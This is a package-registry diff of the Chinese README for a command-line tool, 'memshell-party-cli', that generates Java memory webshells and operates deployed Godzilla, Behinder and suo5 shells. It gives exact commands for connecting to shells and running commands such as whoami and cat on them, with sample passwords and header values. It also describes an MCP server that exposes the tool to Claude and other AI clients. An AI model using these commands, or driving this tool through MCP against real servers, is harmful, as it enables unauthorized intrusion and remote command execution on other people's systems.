memshell-party-cli 0.3.1 → 0.3.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -11,16 +11,18 @@
11
11
 
12
12
  - **交互式向导** —— 不带参数运行 `memparty gen`,从实时拉取的 API 菜单中选择
13
13
  服务器 / 工具 / 类型 / 打包器。
14
- - **完全可脚本化** —— 每个选项都有对应命令行参数,CI 或脚本中可以精确复现。
14
+ - **完全可脚本化** —— 每个选项都有对应命令行参数,CI 或脚本中可以精确复现;
15
+ `--json` 模式下连错误都是结构化 JSON(`{"ok":false,"error":...}`)。
16
+ - **REPL** —— 裸 `memparty` 进入交互循环,一次会话跑多个命令,目标名随存随用。
15
17
  - **MCP 服务器** —— `memparty mcp` 把生成和配置能力暴露为工具,供 Claude 及其他 MCP 客户端调用。
16
18
  - **覆盖全部端点** —— 内存马生成、探测马生成、配置查询、类名解析、版本查询。
17
19
  - **连接测试** —— `memparty connect` 验证已部署的 哥斯拉 / 冰蝎 / suo5 马是否存活、
18
20
  凭证是否正确(回显 / 握手双向校验)。
19
21
  - **命令执行** —— `memparty exec` 在已部署的哥斯拉 / 冰蝎马上执行命令并回显输出
20
22
  (真实 `execCommand` / `Cmd` payload 往返)。
21
- - **命名目标** —— `memparty target save` 把 shell 存进项目(支持备注 + 分类),之后
23
+ - **命名目标** —— `memparty save` 把 shell 存进项目(支持备注 + 分类),之后
22
24
  `memparty exec hw222/bh9060 --cmd "whoami"` 一个名字就够。
23
- - **操作日志** —— 每次 gen/probe/connect/exec/target 操作都追加到
25
+ - **操作日志** —— 每次 gen/probe/connect/exec/save/note/remove 操作都追加到
24
26
  `~/.memparty/operations.jsonl`,`memparty log` 按分类和目标查询。
25
27
  - **灵活的输出** —— payload 默认输出到 stdout,`-o file` 写文件(`.class`/`.jar` 自动
26
28
  base64 解码)。
@@ -53,8 +55,22 @@ export MEMPARTY_API_URL=http://127.0.0.1:8080
53
55
 
54
56
  ### 交互模式
55
57
 
58
+ 裸 `memparty` 进入 REPL:一个进程里连续执行任意子命令,配合自动保存的命名目标,
59
+ 一次会话打通 生成 → 验证 → 执行:
60
+
61
+ ```text
62
+ memparty> connect -u http://192.168.31.222/shell.jsp -t behinder --header-value YdwTyuQr
63
+ saved as '192.168.31.222/behinder'
64
+ memparty> exec 192.168.31.222/behinder --cmd whoami
65
+ memparty> list
66
+ memparty> exit
67
+ ```
68
+
69
+ 带参数运行时行为不变(管道 / CI 里裸 `memparty` 仍打印帮助)。REPL 内 `help` 查看命令、
70
+ `<子命令> --help` 查看示例、`exit`/`quit` 退出。`gen` / `probe` 的交互向导在 REPL 里照常可用:
71
+
56
72
  ```bash
57
- memparty gen # 内存马向导
73
+ memparty gen # 内存马向导(REPL 外)
58
74
  memparty probe # 探测马向导
59
75
  ```
60
76
 
@@ -163,32 +179,35 @@ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat
163
179
  归组同一次任务的多台 shell,并可带 `--remark` 备注和 `--category` 分类。
164
180
  存储文件为 `~/.memparty/targets.json`。
165
181
 
182
+ `connect` / `exec` 成功后会**自动保存**为 `<主机>/<工具>`(如 `192.168.31.222/behinder`,
183
+ 加 `--no-save` 跳过),下次直接报这个名字即可;也可以用 `save` 显式指定名字:
184
+
166
185
  ```bash
167
186
  # 保存(项目自动创建;--remark/--category 是项目级属性,
168
187
  # --shell-remark 是这台 shell 自己的备注)
169
- memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
188
+ memparty save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
170
189
  -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
171
190
  --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
172
191
 
173
192
  # 列出全部(可按 --category <名称> 过滤)
174
- memparty target list
193
+ memparty list
175
194
 
176
195
  # 使用:<项目>/<shell>;项目里只有一个 shell 时光写项目名也行
177
196
  memparty connect hw222/bh9060
178
197
  memparty exec hw222 --cmd "whoami"
179
198
 
180
199
  # 改项目备注 / 改某台 shell 的备注 / 清理
181
- memparty target note hw222 --remark "新备注" --category prod
182
- memparty target note hw222/bh9060 --remark "新的 shell 备注"
183
- memparty target remove hw222/bh9060 # 删单个 shell
184
- memparty target remove hw222 # 删整个项目
200
+ memparty note hw222 --remark "新备注" --category prod
201
+ memparty note hw222/bh9060 --remark "新的 shell 备注"
202
+ memparty remove hw222/bh9060 # 删单个 shell
203
+ memparty remove hw222 # 删整个项目
185
204
  ```
186
205
 
187
206
  显式参数仍会覆盖已存值(如 `memparty exec hw222 --cmd id --pass 其他密码`)。
188
207
 
189
208
  ### 操作日志
190
209
 
191
- 每次操作(gen、probe、connect、exec、target save/note/remove)都以一行 JSON 追加到
210
+ 每次操作(gen、probe、connect、exec、save/note/remove)都以一行 JSON 追加到
192
211
  `~/.memparty/operations.jsonl` —— 记录目标、结果、耗时,exec 还记录命令和截断后的输出。
193
212
  凭证和 payload 内容不会写入日志。
194
213